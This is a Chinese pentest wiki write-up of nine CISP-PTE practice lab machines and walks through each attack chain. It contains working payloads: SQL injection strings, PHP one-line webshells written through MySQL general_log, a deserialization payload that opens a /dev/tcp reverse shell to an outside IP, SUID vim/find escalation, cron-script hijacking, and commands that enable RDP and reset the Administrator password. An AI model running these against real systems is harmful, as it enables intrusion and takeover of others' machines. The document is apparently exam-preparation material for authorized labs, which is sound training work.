CISP-PTE 综合模拟题复盘 的文章封面
返回渗透 Wiki
靶机复盘 渗透 Wiki

CISP-PTE 综合模拟题复盘

CISP-PTE 九套综合模拟题攻击链:信息收集、入口、getshell、提权。

这是一份 CISP-PTE 综合模拟题 整理稿

只用于授权靶场、课程实验和备考复盘。不要拿去打未授权目标。

flag 常见格式:flag_nisp_xxxxxxflagN_nisp_xxxxxx

目录

  1. 综合模拟题 1:梅奥诊所 / 档案查询
  2. 综合模拟题 2:125 端口 Basic + phpMyAdmin
  3. 综合模拟题 3:机智图片管理系统(Basic 入口)
  4. 综合模拟题 4:同一套系统,SQL 万能密码
  5. PTE2609 jy 演唱会
  6. PTE2609 与杉:Squid 代理 + ThinkPHP
  7. PTE2609 傲梅门诊:文件读取 + 挂号系统
  8. PTE2609 图片
  9. PTE2609 安达核酸

题单总览

#题目环境印象攻击链
1综合模拟题 1Linux,梅奥诊所,80 + 6721FTP 匿名读配置 → MySQL → 上传 + 文件包含 → find 读 /root
2综合模拟题 2Windows,Apache 在 125 端口Basic 爆破 → robots / phpMyAdmin → general_log 写马 → 开 3389
3综合模拟题 3Windows,机智图片管理系统Basic 爆破 → 凭据复用 → 上传绕过 → SYSTEM → 开 3389
4综合模拟题 4同系统,不同入口SQL 万能密码 → 上传 → 3389 已开 → 回收站
5PTE2609 jy 演唱会Linux.git 泄露 / 注入 → 反序列化 RCE → SUID vim
6PTE2609 与杉Squid 代理 + ThinkPHP代理入网 → 弱口令 → 文件管理写马 → sudo ALL
7PTE2609 傲梅门诊Linux 挂号系统非常规端口文件读取 → 改库登后台 → 上传 + 包含 → find
8PTE2609 图片Windows + phpMyAdminroot:root → 改 MD5 → 上传 → 3389 / 回收站
9PTE2609 安达核酸Linux,FTP + 文件读取Referer 绕过读样本 → FTP → phpMyAdmin 写马 → cron 脚本

反复出现的手法

存活判断

很多环境 VPN 不转发 ICMP。ping 不通不代表主机挂了,看 TCP 端口和服务。

全端口 + 版本识别

不要只扫 80/443。125、6721、12632、18391、59312 这类端口经常才是真正的题面。看到可疑端口用 -sV 确认真实服务。

HTTP Basic 认证

载荷是 base64(user:pass),Burp 用 custom iterator:用户名 + : + 密码,再做 base64。题库里高频账密是 admin:qwerty。全站套了 Basic 之后,目录扫描和蚁剑都要带 Authorization,否则 401。

phpMyAdmin / general_log 写马

后台给了绝对路径之后,不一定要 INTO OUTFILE(经常撞 secure_file_priv)。把 general_log 指到 Web 目录,执行一条带一句话的 SELECT,日志文件就是 shell。

SET GLOBAL general_log = 'ON';
SET GLOBAL general_log_file = 'C:/phpstudy_pro/WWW/a.php';
SELECT '<?php @eval($_POST["cmd"]);?>';

Windows 收尾

Web 进程经常已经是 NT AUTHORITY\SYSTEM。确认 3389 是否在听:没开就改注册表 + 防火墙 + TermService,开了就直接改 Administrator 密码进桌面。第三枚 flag 经常在回收站

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f
netsh advfirewall firewall add rule name="RDP" dir=in action=allow protocol=TCP localport=3389
sc config TermService start= auto
net start TermService
net user Administrator Admin123456

Linux 收尾

常见三条:sudo -l 看到 NOPASSWD: ALLfind / -perm -4000 看到 find / vim;可写的计划任务脚本。上传目录经常是随机名,先包含 index.php / model/*_upload.php 再拼路径。


综合模拟题 1:梅奥诊所 / 档案查询

目标 192.168.5.100

信息收集

21/tcp   ftp     vsftpd 3.0.2
22/tcp   ssh     OpenSSH 7.4
80/tcp   http    Apache 2.4.41 (Ubuntu)   梅奥诊所在线挂号系统
111/tcp  rpcbind
3306/tcp mysql   5.7.33
6721/tcp http    Apache                   档案查询系统

MySQL 弱口令没打通,服务版本也没搜到现成洞。FTP 允许匿名登录,pub 可写。匿名下载到 config.php

host: localhost
database: patient
username: root
password: Admin000

flag1:连库翻表

root / Admin000 连 3306。库里能拿到 flag1,还能看到管理员 hash:

zhangsan
e10adc3949ba59abbe56e057f20f883e    # 123456

数据库 flag1

管理员 hash

登管理员后台拿到 key2。

管理员登录

目录扫描扫到 /phpinfo.php,网站真实路径类似:

/var/www/html/PIzABXDg/

80 端口后台有档案上传,上传后页面没反应,先不要死磕这个回显。

上传点

6721:POST 文件包含

http://192.168.5.100:6721/api/query_pdf.php
POST archive=

有效用户提示是 userroot

文件包含

用伪协议读自身:

archive=php://filter/convert.base64-encode/resource=query_pdf.php

源码就是 include($archive)。再包含 80 端口站点的 index.php,路由规则是:

$operate_file = 'model/'.$g_m."_".$g_o.".php";

上传页 ?m=order&o=upload 对应 model/order_upload.php。上传逻辑只看扩展名是不是 pdf,目录是:

CISP-PTE-1413/

把一句话存成 .pdf 上传,再在 6721 包含:

../../PIzABXDg/CISP-PTE-1413/shell.pdf

包含执行

也可以再写一个生成器,在 api/shell.php 落马,蚁剑连接。

网站目录拿到:

flag_nisp_721fa4

提权

SSH 对 user 爆破提示目标不支持密码认证。www-data 很多命令不可用,nc / bash -i / python 也不顺。

www-data 枚举

SUID 有 find。蚁剑终端对 find 提权没反应,原笔记最后是写 PHP,通过包含去执行:

<?php
$cmd2 = "find /root -name '*flag*' -exec cat {} \\; 2>/dev/null";
system($cmd2);
?>

PHP 调 find

读到:

/root/flag.txt
flag_nisp_6cf0b8

root flag

本地直接提权当时没走通。

本地提权失败


综合模拟题 2:125 端口 Basic + phpMyAdmin

项目内容
地址192.168.5.100
环境Windows + phpStudy + Apache 2.4.39
非常规端口 → Basic → 目录扫描 → phpMyAdmin → MD5 后台 → general_log → 3389

端口

默认扫描 125 会标成 locus-map-sV 之后才是 Apache,并且带 Basic,realm 直接写 Username is admin。135 + 49152–49157 是 Windows 特征。3306 开着。

Basic 爆破

Burp custom iterator + base64,拿到 admin:qwerty

Basic 爆破

admin:qwerty

认证后只是静态页,继续带认证头做目录扫描,扫到 robots.txt

User-agent: *
Disallow: /news/
# key6:5sdhe4ne

目录扫描

/news/index.php?id=5 用 sqlmap 没有注入。出现新路由后要重新抓包,带上 Cookie 再扫一层。

递归扫描到 phpMyAdmin

phpMyAdmin 进 ee 表:

flag_nisp_er5rfp

同时翻到后台账号:

admin : 1e4bdb57e02ef1b18e679b29600d22a1    # poilkj,mn

/news/system/ 登录后页面直接给出网站路径 C:/phpstudy_pro/WWW

后台路径

写马与 3389

SET GLOBAL general_log = 'ON';
SET GLOBAL general_log_file = 'C:/phpstudy_pro/WWW/a.php';
SELECT '<?php phpinfo(); ?>';
SELECT '<?php @eval($_POST["cmd"]);?>';

general_log 写马

蚁剑必须加 Basic 头。网站目录:

flag_nisp_wfe32d

whoami 后开 3389、重置 Administrator,RDP 进桌面还原回收站:

flag_nisp_djk34b
Flag位置方式
flag_nisp_er5rfpMySQL eephpMyAdmin
flag_nisp_wfe32d网站目录general_log
flag_nisp_djk34b桌面回收站RDP

综合模拟题 3:机智图片管理系统(Basic 入口)

Windows + Apache + PHP + MySQL。VPN 不转 ICMP,3306 有 IP 白名单,远程直连报 ERROR 1130,攻击面回到 Web。

VPN / 存活

首页就是 Apache Basic。

Basic 认证框

Authorization: Basic YWRtaW46YWRtaW4=

解码是 admin:admin,不是正确答案。custom iterator 爆破得到 admin:qwerty

iterator 配置

爆破结果

flag1_nisp_dp86rc

源码说明这是「机智图片管理系统」。后台同一套 admin:qwerty凭据复用,不必再开一轮字典。

系统指纹

后台爆破 / 复用

上传提示「最大 1MB,类型只允许图片」。抓包改后缀即可。

上传点

改后缀

上传成功

蚁剑加 Authorization 头。

蚁剑认证头

flag2_nisp_v2bc25

当前身份 NT AUTHORITY\SYSTEM,3389 未开。

SYSTEM

3389 未监听

上传开启脚本后改 Administrator 密码,RDP 进桌面,回收站:

flag3_nisp_cdk674

开启 RDP

net user

RDP

桌面

Flag位置方式
flag1_nisp_dp86rcBasic 认证后页面admin:qwerty
flag2_nisp_v2bc25WWW 目录上传改后缀 + 蚁剑
flag3_nisp_cdk674回收站开 3389 → RDP

综合模拟题 4:同一套系统,SQL 万能密码

目标 192.168.5.200。还是机智图片管理系统,入口换成登录框。flag 格式 flag1_nisp_xxxxxx

首页

密码爆破无果后改万能密码:

用户名:admin' or '1'='1
密码:  admin' or '1'='1

登录后密码字段附近:

flag1_nisp_chp983

万能密码后的 flag

上传几乎无限制:jpg 末尾追加一句话,后缀改 .php

上传

连接

flag2_nisp_ad52qc

当前已是 SYSTEM,3389 已经在听,直接改密进桌面。

权限与 3389

flag3_nisp_93hr5d

PTE2026 jy 演唱会

目标 192.168.5.25。三问:数据库、服务器、/root

数据库里的 key

目录扫描到 .git。GitHack 或手动解 zlib、git cat-file -p 都能还原访客账密:

visitor@jyconcert.cisp
E9nDnfd09ZsNkutaun
python -c "import sys,zlib; sys.stdout.buffer.write(zlib.decompress(sys.stdin.buffer.read()))" < <object>
git cat-file -p <dir>/<object>

git 对象

git cat-file

登录后 URL 带 id=,sql注入:

id=1'
id=1' order by 6--+
id=-1' union select 1,group_concat(table_name),3,4,5,6 from information_schema.tables where table_schema=database()--+
id=-1' union select 1,group_concat(column_name),3,4,5,6 from information_schema.columns where table_schema=database() and table_name='key'--+
id=-1' union select 1,id,3,4,5,6 from `key`--+

报错 / 列数

union 出 key

服务器里的 key

sqlmap 跟请求走库:

sqlmap -r sqlexp --dbs --batch
sqlmap -r sqlexp -D personal --tables --batch
sqlmap -r sqlexp -D personal -T site_info --columns --batch
sqlmap -r sqlexp -D personal -T site_info -C site_link,site_name --dump --batch

dbs

tables

columns

dump

得到 http://cdj4zueshi84x5fq75.cisp(在线 PING)。要写 hosts 才能解析。

hosts

除了 127.0.0.1 几乎无回显。目录扫描到 /index.php.bak

class pingTest {
	public $ipAddress = "127.0.0.1";
	public $isValid = False;
	public $output = "";

	function validate() {
		if (!$this->isValid) {
			if (filter_var($this->ipAddress, FILTER_VALIDATE_IP)) {
				$this->isValid = True;
			}
		}
		$this->ping();
	}

	public function ping() {
		if ($this->isValid) {
			$this->output = shell_exec("ping -c 3 $this->ipAddress");
		}
	}
}

if (isset($_POST['obj'])) {
	$pingTest = unserialize(urldecode($_POST['obj']));
} else {
	$pingTest = new pingTest;
}
$pingTest->validate();

考点是 PHP 反序列化:把 isValid 直接设成 true,跳过 IP 校验,ipAddress 里拼命令。

<?php
class pingTest {
	public $ipAddress = "127.0.0.1";
	public $isValid = False;
	public $output = "";
}
$obj = new pingTest();
$obj->ipAddress = '127.0.0.1 & /bin/sh -i >& /dev/tcp/10.8.0.6/1234 0>&1';
$obj->isValid = True;
echo serialize($obj);

反弹后看 ping 目录下 ssh.php

concert
2OoIRPc8nMts4ylnyn
/www/key7.cisp
flag_nisp_793380

/root

sudo -l 无结果。SUID 列表里有 /usr/bin/vim

vim -c ':py import os;os.execl("/bin/sh","sh","-pc","reset; exec sh -p")'
/root/key8.cisp
flag_nisp_798349

SUID vim


PTE2026 与杉:Squid 代理 + ThinkPHP

目标 192.168.15.168。题面要求浏览器走靶机 Squid:默认 22、3128。先把代理配上,再扫、再打 Burp。

浏览器代理

Burp 代理

burp 扫到端口 18391,ThinkPHP。弱口令 admin:admin 进后台,给自己加权限。

端口

ThinkPHP

加权限

后台

flag_nisp_c4ac4c

第二问 key 在数据库。文件管理后台 admin:admin@123 (信息泄露)。

robots.txt 指向 /FileManage/filemanager.php

题面

文件管理登录

功能

有写文件权限,直接建 1.php

<?php @eval($_POST[1]); ?>

站点里有 phpMyAdmin,路径:

http://192.168.15.168:18391/phpMyAdmin_4.9.9/

root:root 进不去。网站目录里翻到:

root
NlVYmvPsYF0Z5acQ

phpMyAdmin

配置里的账密

库中 flag

flag_nisp_85ee02

第三问 /root。蚁剑终端被禁命令,换插件执行。

插件执行

sudo -l
# (ALL) ALL
# (ALL) NOPASSWD: ALL
sudo cat /root/key.cisp
flag_nisp_63f29b

sudo -i 之后 id 仍是 www,是因为没真正切到 root shell;用 sudo cat 读文件即可。

Flag位置方式
flag_nisp_c4ac4cThinkPHP 后台Squid + admin:admin
flag_nisp_85ee02数据库文件管理写马 → 翻配置进 phpMyAdmin
flag_nisp_63f29b/root/key.cispsudo cat

PTE2026 傲梅门诊:文件读取 + 挂号系统

目标 192.168.5.10。页面是挂号 / 预约,文件名写「傲梅门诊」,配置常量里的系统名是「梅奥诊所在线挂号系统」。和模拟题 1 同一类题,链路更完整。

首页

预约

目录扫描:/index.php 302 到 ?m=login

目录扫描

内部有万能用户,密码不对,先放下。

登录

全端口多出 12632,是文件读取。

文件读取

先读 nginx 配置:

/etc/nginx/nginx.conf
root /usr/share/nginx/TYkwmszrf;

再读 config.php

archive=php://filter/convert.base64-encode/resource=/usr/share/nginx/TYkwmszrf/config.php
define('HOSTNAME','localhost');
define('DATEBASE','guahao');
define('USERNAME','hospital');
define('PASSWORD','SMwe@NgbE6kC4d');
define('DB_PRE','guahao_');

连库后把 Superman 密码改成 123456 的 MD5,进入系统。

改库

flag_nisp_137972

第二问网站路径下的 key。上传 shell.pdf 成功,但不知道目录。

上传 shell.pdf

包含 index.php 看到:

$operate_file = 'model/'.$g_m."_".$g_o.".php";

model/order_upload.php 里:

$target_dir = "UploadNvujWxzJCIAZLIa/";
if($fileType != "pdf") {
    $info = "只允许上传PDF文件";
    $uploadOk = 0;
}

于是得到文件上传目录为 UploadNvujWxzJCIAZLIa

文件读取处包含该 pdf,蚁剑连接,目录里有 key7.cisp

包含

蚁剑

flag_nisp_228bd6

第三问 /rootfind / -perm -4000 有 find:

find /root/key8.cisp -exec cat {} \;
# 或
find . -exec /bin/bash -p \;
find /root -name "*.cisp" -type f -exec cat {} \;
flag_nisp_80d6a3
Flag位置方式
flag_nisp_137972后台12632 读配置 → 改 Superman MD5
flag_nisp_228bd6key7.cisp上传 pdf + 包含
flag_nisp_80d6a3/root/key8.cispSUID find

PTE2026 图片

目标 192.168.15.170。Windows 风格:phpMyAdmin、改 MD5、上传、3389、回收站。

目录扫描直接给出 /phpMyAdmin//admin_login.phprobots.txtroot:root 能进。

phpMyAdmin

flag_nisp_f9z9yy

robots.txt/picture_storage.sql

INSERT INTO `system` (`sys_id`, `sys_user`, `sys_pass`, `sys_flag`) VALUES
(1, 'admin', 'd8578edf8458ce06fbc5bb76a58c5ca4', 1);

把 admin 密码改成 e10adc3949ba59abbe56e057f20f883e (123456的hash值)后登录,测上传:

Content-Disposition: form-data; name="file[]"; filename="shell.php"
Content-Type: image/jpeg

GIF89a
<?php @eval($_POST[1]);?>

蚁剑走 base64。

改密

上传

连接

flag_nisp_pc3y8cb

开 3389、改密码,桌面垃圾桶:

改密开 3389

flag_nisp_0wy9p5
Flag位置方式
flag_nisp_f9z9yy数据库phpMyAdmin root:root
flag_nisp_pc3y8cb网站目录改 MD5 → 上传
flag_nisp_0wy9p5桌面垃圾桶开 3389

PTE2026 安达核酸

第一问

第二问

第三问

全端口:21、80、3306、59312。80 有信息泄露:FTP 登录需要用户手机号和身份证号。

80 信息泄露

59312 是样本查询 / 文件读取。直接访问提示恶意请求,加 Referer 绕过。

服务说明

Referer

样本

mid 参数是标本号的 MD5。AD100051 标本号能读到完整信息,利用该账户信息拿去登 FTP,拿到 key.cisp

AD100051

FTP

第二问同法看 68 号,用默认账密登 FTP,拿到数据库配置。目录扫描有 phpMyAdmin,直接登录。

68 号

数据库配置

phpMyAdmin

第三问先看能不能写马:

SHOW VARIABLES LIKE '%secure_file_priv%';

返回空字符串,表示不限制路径:

SELECT '<?php @eval($_POST[1]); ?>' INTO OUTFILE '/var/www/html/1.php';

提权找可写脚本:

find / -type f -name "*.sh" -writable 2>/dev/null

可写 daemon

控制 /app/xagent/xagent-daemon,等计划任务跑:

echo '#!/bin/bash' > /app/xagent/xagent-daemon
echo 'ls -la /root > /tmp/a.txt' >> /app/xagent/xagent-daemon
echo 'chmod 777 /tmp/a.txt' >> /app/xagent/xagent-daemon
# 等约 2 分钟
echo 'cat /root/key.cisp > /tmp/b.txt' >> /app/xagent/xagent-daemon
echo 'chmod 777 /tmp/b.txt' >> /app/xagent/xagent-daemon
cat /tmp/b.txt

附录:仿真综合实操

目标 192.168.15.100。三枚 flag 分别在访问入口、网页根目录、桌面。

入口

phpMyAdmin 弱口令 admin:admin888。还能看到 /picture_storage.sql,以及 admin:qwerty。库里:

flag1_nisp_chp983

库中 flag

后台 hash:

admin:92540f9784483bf996869f9321dbb541

直接把密码更新成 123456 的 MD5:

echo -n "123456" | md5sum
# e10adc3949ba59abbe56e057f20f883e

改密

登入后路径 C:/wamp/www

后台路径

SHOW VARIABLES LIKE 'general_log%';
SHOW VARIABLES LIKE 'secure_file_priv';
SET GLOBAL general_log = 'ON';
SET GLOBAL general_log_file = 'C:/wamp/www/a.php';
SELECT '<?php phpinfo(); ?>';
SELECT '<?php @eval($_POST["cmd"]);?>';

INTO OUTFILE 也可以试,但优先走 general_log。

写马

蚁剑编码器选 base64。

蚁剑

flag2_nisp_ad52qc

开 3389,桌面

flag3_nisp_93hr5d